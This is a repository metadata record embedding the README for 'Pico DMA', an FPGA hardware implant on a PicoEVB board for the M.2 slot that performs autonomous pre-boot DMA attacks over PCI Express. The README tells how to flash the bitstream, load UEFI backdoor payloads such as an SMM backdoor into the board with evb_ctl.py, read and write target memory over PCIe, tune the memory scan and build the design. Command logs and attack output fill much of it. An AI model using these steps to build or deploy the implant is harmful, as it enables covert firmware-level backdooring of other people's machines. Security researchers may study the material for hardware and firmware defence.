{"id":21510120,"url":"https://github.com/cr4sh/pico_dma","last_synced_at":"2025-04-09T17:32:12.126Z","repository":{"id":199822672,"uuid":"703824780","full_name":"Cr4sh/pico_dma","owner":"Cr4sh","description":"Autonomous pre-boot DMA attack hardware implant for M.2 slot based on PicoEVB development board","archived":false,"fork":false,"pushed_at":"2023-10-21T01:57:30.000Z","size":5042,"stargazers_count":75,"open_issues_count":0,"forks_count":14,"subscribers_count":4,"default_branch":"main","last_synced_at":"2025-03-23T19:39:09.511Z","etag":null,"topics":["axi-dma","backdoor","dma","fpga","implant","microblaze","pci-e","uefi","xilinx"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Cr4sh.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2023-10-12T02:03:42.000Z","updated_at":"2025-03-16T12:41:17.000Z","dependencies_parsed_at":"2023-10-12T20:12:59.576Z","dependency_job_id":"8f0379e8-75fc-4e98-8fbc-372e72a05e31","html_url":"https://github.com/Cr4sh/pico_dma","commit_stats":null,"previous_names":["cr4sh/pico_dma"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Cr4sh%2Fpico_dma","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Cr4sh%2Fpico_dma/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Cr4sh%2Fpico_dma/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Cr4sh%2Fpico_dma/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Cr4sh","download_url":"https://codeload.github.com/Cr4sh/pico_dma/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248077463,"owners_count":21043970,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["axi-dma","backdoor","dma","fpga","implant","microblaze","pci-e","uefi","xilinx"],"created_at":"2024-11-23T21:46:42.584Z","updated_at":"2025-04-09T17:32:11.962Z","avatar_url":"https://github.com/Cr4sh.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"\n# Pico DMA\n\n[General information](#general-information)  \n[Contents](#contents)  \n[Hardware configuration](#hardware-configuration)  \n[Software configuration](#software-configuration)  \n[Autonomous DMA attacks](#autonomous-dma-attacks)  \n[Building the project](#building-the-project)  \n\n## General information\n\nThis design allows to perform fully autonomous pre-boot DMA attacks over PCI Express bus using [MicroBlaze soft-processor](https://github.com/Cr4sh/pico_dma/blob/main/microblaze_soc.pdf) with embedded [software stack](https://github.com/Cr4sh/pico_dma/tree/main/software/application/src) running on [PicoEVB development board](https://www.crowdsupply.com/rhs-research/picoevb) with Xilinx Artix 7 FPGA. Using Pico DMA design it's possible to create hardware implants in format of tiny M.2 2230 card that injects my [Hyper-V Backdoor](https://github.com/Cr4sh/s6_pcie_microblaze/tree/master/python/payloads/DmaBackdoorHv), [Boot Backdoor](https://github.com/Cr4sh/s6_pcie_microblaze/tree/master/python/payloads/DmaBackdoorBoot), [SMM Backdoor Next Gen](https://github.com/Cr4sh/SmmBackdoorNg) or any other UEFI DXE driver as payload into the target machine boot sequence.\n\nDespite being focused on autonomous operation Pico DMA alternatively can be controlled over the UART interface in fully compatible way with [PCI Express DIY hacking toolkit](https://github.com/Cr4sh/s6_pcie_microblaze) software libraries and programs. The toolkit is also [providing](https://github.com/Cr4sh/s6_pcie_microblaze/blob/master/python/evb_ctl.py) `evb_ctl.py` program used by this design to flash PicoEVB bitstream and payload UEFI DXE driver into the on-board SPI flash chip.\n\nOn the picture you can see PicoEVB board with set of adapters that allows to use the implant with various PCI Express slots on the target: PCIe x1, mPCIe and [M.2 key M](https://github.com/RHSResearchLLC/PicoEVB/wiki/Adapters):\n\n\u003cimg src=\"https://raw.githubusercontent.com/Cr4sh/pico_dma/master/docs/images/boards.jpg\" width=\"700\"\u003e\n\n\n## Contents\n\nThe project consists from the following files and directories:\n\n * `7x_pcie_microblaze.tcl` \u0026minus; Template to generate Vivado project of FPGA bitstream for PicoEVB development board.\n\n * `7x_pcie_microblaze.xsa` \u0026minus; Exported hardware configuration of MicroBlaze soft-processor to use with Xilinx Vitis IDE projects.\n\n * `7x_pcie_microblaze.bin` \u0026minus; Ready to use raw bitstream binary.\n\n * `7x_pcie_microblaze.bit` \u0026minus; Bitstream binary in Vivado-acceptable format.\n\n * `ip/` \u0026minus; Configuration files for IP cores.\n\n * `hdl/` \u0026minus; Pico DMA project Verilog source code and constraints.\n\n * `software/application/` \u0026minus; Pico DMA project software that woks with TLP layer of PCI Express bus to perform pre-boot DMA attacks.\n\n\n## Hardware configuration\n\nTo flash provided Pico DMA bitstream file `7x_pcie_microblaze.bin` into the board you can use one of the standard ways from PicoEVB documentation: [over PCI Express](https://github.com/RHSResearchLLC/PicoEVB/tree/master/spi-loader) or [using JTAG adapter with OpenOCD](https://github.com/RHSResearchLLC/PicoEVB/tree/master/spi-flash-program-openocd). \n\nTo configure and control the implant Pico DMA is using GPIO ports of `P1` connector of PicoEVB to expose UART interface (baud-rate 115200) and two push buttons: one for CPU reset and second for switching between autonomous mode and UART-controlled mode:\n\n\u003cimg src=\"https://raw.githubusercontent.com/Cr4sh/pico_dma/master/docs/images/pico_evb_pinout.png\" width=\"598\"\u003e\n\nTo work with this interface it's convenient to make a cable like this one, where one end is connected to `P1` of the board and another is UART interface connected with any suitable USB adapter to Linux machine with PCI Express DIY hacking toolkit programs installed:\n\n\u003cimg src=\"https://raw.githubusercontent.com/Cr4sh/pico_dma/master/docs/images/pico_evb_cable.png\" width=\"580\"\u003e\n\n\n## Software configuration\n\nBy default Pico DMA starts its operation in autonomous mode where UART port is is used only to print software debug messages. Fresh board with flashed bitstream but without configured payload will print the following messages into the UART when reset event occurs:\n\n```\nmode_standalone(): Starting attack...\nERROR: bad payload DOS signature\nPayload is not present\n```\n\nTo switch from autonomous mode to UART-controlled mode and configure the implant you need to press CPU reset `SW2` push button while holding `SW1` mode select button, and release mode select after user LED `A` of the board lights up. To switch back to the autonomous mode you can either push CPU reset button or just reboot the target to which the board is connected over M.2 port.\n\nBefore running `evb_ctl.py` or other programs from PCI Express DIY hacking toolkit you need to edit `pcie_lib_config.py` configuration file, set `Conf.device_type` variable to `DEVICE_TYPE_SERIAL` and edit other variables to specify proper UART port device path (for example, `/dev/ttyUSB0`) along with its baud-rate.\n\nIn UART-controlled mode you can use `evb_ctl.py` program to load desired payload UEFI DXE driver image into the SPI flash chip of the board with the following command:\n\n```\n# python2 evb_ctl.py --rom-load ~/SmmBackdoorNg_X64.efi\n[+] Opening device...\n[+] Erasing ROM...\n[+] Maximum ROM size for this device is 2818048 bytes\n[+] Loading 19712 bytes of ROM...\n[+] 100% completed\n[+] Done\n```\n\nTo erase payload image from memory you can use appropriate `--rom-erase` option of the program.\n\nAlso, you can use the same program to flash FPGA bitstream into the board:\n\n```\n# python2 evb_ctl.py --bit-load 7x_pcie_microblaze.bin\n[+] Opening device...\n[+] Erasing memory...\n[+] Loading 1358540 bytes of bitstream...\n[+] 100% completed\n[+] Done\n```\n\nPicoEVB board has 4 MB SPI flash chip, this design [is using](https://github.com/Cr4sh/pico_dma/blob/99c6463da0a0c17a4efcb734942122681945c016/software/application/src/platform_config.h#L25) `0x150000` bytes of its space for FPGA bitstream (that also embeds [compiled software image](https://github.com/Cr4sh/pico_dma/tree/main/software/application/Debug) for MicroBlaze soft-processor) and remaining `0x2b0000` bytes for pre-boot DMA attack payload, so its maximum size is limited to this specific value.\n\nWhen PCI-E link with the board is up \u0026minus; UART-controlled mode allows you to work with usual Python tools from PCI Express DIY hacking toolkit. For example, you can read PCI configuration space registers of the board using `pcie_cfg.py` program:\n\n```\n# python2 pcie_cfg.py\n[+] PCI-E link with target is up\n[+] Device address is 01:00.0\n\n           VENDOR_ID = 0x10ee\n           DEVICE_ID = 0x1337\n             COMMAND = 0x0\n              STATUS = 0x2010\n            REVISION = 0x0\n          CLASS_PROG = 0x0\n        CLASS_DEVICE = 0x200\n     CACHE_LINE_SIZE = 0x0\n       LATENCY_TIMER = 0x0\n         HEADER_TYPE = 0x0\n                BIST = 0x0\n      BASE_ADDRESS_0 = 0x91500000\n      BASE_ADDRESS_1 = 0x0\n      BASE_ADDRESS_2 = 0x0\n      BASE_ADDRESS_3 = 0x0\n      BASE_ADDRESS_4 = 0x0\n      BASE_ADDRESS_5 = 0x0\n         CARDBUS_CIS = 0x0\n SUBSYSTEM_VENDOR_ID = 0x10ee\n        SUBSYSTEM_ID = 0x7\n         ROM_ADDRESS = 0x0\n      INTERRUPT_LINE = 0xff\n       INTERRUPT_PIN = 0x1\n             MIN_GNT = 0x0\n             MAX_LAT = 0x0\n```\n\nOr even perform memory read or write operations over PCI-E bus of the target at relatively low speed of UART interface with `pcie_mem.py` program:\n\n```\n$ DEBUG_TLP=1 python2 pcie_mem.py 0x10000 0x20\n[+] PCI-E link with target is up\n[+] Device address is 01:00.0\nTLP TX: size = 0x04, source = 01:00.0, type = MRd64\n        tag = 0x13, bytes = 0x20, addr = 0x00010000\n\n        0x20000008 0x010013ff 0x00000000 0x00010000\n\nTLP RX: size = 0x0b, source = 00:00.0, type = CplD\n        tag = 0x13, bytes = 32, req = 01:00.0, comp = 00:00.0\n\n        0x4a000008 0x00000020 0x01001300\n        0xc4230c00 0x00000000 0xd43039ce 0xd5202acf 0x48c7c000 0x0001000f 0xae38488b 0x004885c0\n\n00010000: c4 23 0c 00 00 00 00 00 d4 30 39 ce d5 20 2a cf | .........09.....\n00010010: 48 c7 c0 00 00 01 00 0f ae 38 48 8b 00 48 85 c0 | H........8H..H..\n```\n\n\n## Autonomous DMA attacks\n\nWhile working in autonomous mode, which is activated by default when board powers on, Pico DMA is trying to start DMA attack as soon as PCI-E bus becomes usable, injects previously flashed payload UEFI DXE driver into the target machine boot sequence and prints the following debug messages into the UART port:\n\n```\nmode_standalone(): Starting attack...\nImage size is 0x4D00\nSection #0 addr = 0x2E0, size = 0x3817\nSection #1 addr = 0x3B00, size = 0xAB8\nSection #2 addr = 0x45C0, size = 0x380\nSection #3 addr = 0x4940, size = 0x28\nSection #4 addr = 0x4980, size = 0x15C\nSection #5 addr = 0x4AE0, size = 0x1E4\nSection #6 addr = 0x4CE0, size = 0xC\nPayload size is 19712 bytes\nPayload config RVA is 0x4940\nSCAN_CONF is not present\nWaiting for PCI-E endpoint to be ready...\ndev_id = 1:0.0\nStarting memory scan...\nscan_memory(): start = 0xE0000000\nscan_memory():   end = 0x70000000\nscan_memory():  step = 0x10000\nEFI image is at 0x7A070000\nEFI_SYSTEM_TABLE is at 0x7A03E018\nEFI_BOOT_SERVICES is at 0x7A38FA30\nLocateProtocol() is at 0x7A3987B4\nPayload stub is at 0x10010\nPayload is at 0xC0000\nPayload entry is at 0xC23C4\nmode_standalone(): Completed\n```\n\nAfter accomplished pre-boot DMA attack Pico DMA software halts its operation and will perform another attack attempt only when reset event occurs, which happens after the target reboot or next power on.\n\nAt early stage of the attack Pico DMA software performs target system physical memory scan starting from address `0xe0000000` down to address `0x70000000` with `0x10000` bytes step in order to locate some UEFI driver image that belongs to the platform firmware, and later using this image it locates necessary `EFI_SYSTEM_TABLE` address. To override default configuration of memory scan you can specify appropriate values in `--scan-start`, `--scan-end` and `--scan-step` command line options of `evb_ctl.py` program while loading payload into the board with `--rom-load` option.\n\nProject documentation is still incomplete at this moment.\n\n\n## Building the project\n\nTo build Pico DMA software and bitstream form the source code and you need to perform the following steps:\n\n 1. Run `make project` to generate Vivado project from `7x_pcie_microblaze.tcl` template.\n\n 2. Open generated project `7x_pcie_microblaze/7x_pcie_microblaze.xpr` in Vivado, run synthesis and export hardware design into the `pcie_microblaze_top.xsa` file using \"File\" → \"Export\" → \"Export Hardware\" main menu item.\n\n 3. Run Xilinx Vitis IDE form Vivado using \"Tools\" → \"Launch Vitis\" main menu item. In Vitis you need to specify new empty folder (for example, `~/pico_dma/vitis/`) as your workspace and create new platform project from `pcie_microblaze_top.xsa` hardware description file generated at previous step:\n\n \u003cp align=\"center\"\u003e\u003cimg src=\"https://raw.githubusercontent.com/Cr4sh/pico_dma/master/docs/images/vitis_platform.png\" width=\"425\"\u003e\u003c/p\u003e\n\n 4. In Vitis IDE you need to create new C project called `application` for your platform and select \"Empty Application\" from available templates:\n\n \u003cp align=\"center\"\u003e\u003cimg src=\"https://raw.githubusercontent.com/Cr4sh/pico_dma/master/docs/images/vitis_project.png\" width=\"425\"\u003e\u003c/p\u003e\n\n 5. Now you need to import C code and header files from `~/pico_dma/software/application/src/` folder into the source code tree of your newly created application like it shown on the picture:\n\n \u003cp align=\"center\"\u003e\u003cimg src=\"https://raw.githubusercontent.com/Cr4sh/pico_dma/master/docs/images/vitis_export.png\" width=\"444\"\u003e\u003c/p\u003e\n\n 6. Compile Debug build of the platform and application in Vitis, resulting software image for MicroBlaze soft-processor will be created at `~/pico_dma/vitis/application/Debug/application.elf` file path.\n\n 7. Close Vitis and get back to the Vivado. In design sources tree of the project you need to locate `application.elf` file, click \"Replace File...\" in its context menu and replace it with binary from your Vitis workspace that was compiled during previous step.\n\n 8. Run implementation and generate bitstream in Vivado, after successful completion you can execute `make bin` command to copy bitstream files from Vivado project output directory into the `~/pico_dma/` root directory.\n\nTo flash generated Pico DMA bitstream file `7x_pcie_microblaze.bin` into the board over its JTAG interface using Vivado, with bare minimum set of 3-rd party designs and tools, you can perform the following steps:\n\n 1. Connect JTAG interface of PicoEVB to your computer using [recommended M.2 adapter](https://github.com/RHSResearchLLC/PicoEVB/wiki/Adapters) and USB cable.\n\n 2. Install [virtual JTAG cable software](https://github.com/RHSResearchLLC/xvcd) and run `sudo ./xvcd -P 0x6015` in the console to start its server.\n\n 3. Execute the following command in Vivado TCL console to open Hardware Manager and connect to the board over the virtual cable: `open_hw; connect_hw_server; open_hw_target -xvc_url localhost:2542`.\n\n 4. In Hardware Manager you need to select `xc7a50t_0` FPGA chip and run \"Program Device\" from its context menu to load the bitstream.\n\n 5. Now you can follow previously described steps from [Software configuration](#software-configuration) part of documentation to flash FPGA bitstream and payload image into the on-board SPI flash chip of PicoEVB with `evb_ctl.py` program.\n\n\n## About\n\nDeveloped by:\u003cbr /\u003e\nDmytro Oleksiuk (aka Cr4sh)\n\n[cr4sh0@gmail.com](mailto:cr4sh0@gmail.com)\u003cbr /\u003e\n[http://blog.cr4.sh](http://blog.cr4.sh)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcr4sh%2Fpico_dma","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fcr4sh%2Fpico_dma","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcr4sh%2Fpico_dma/lists"}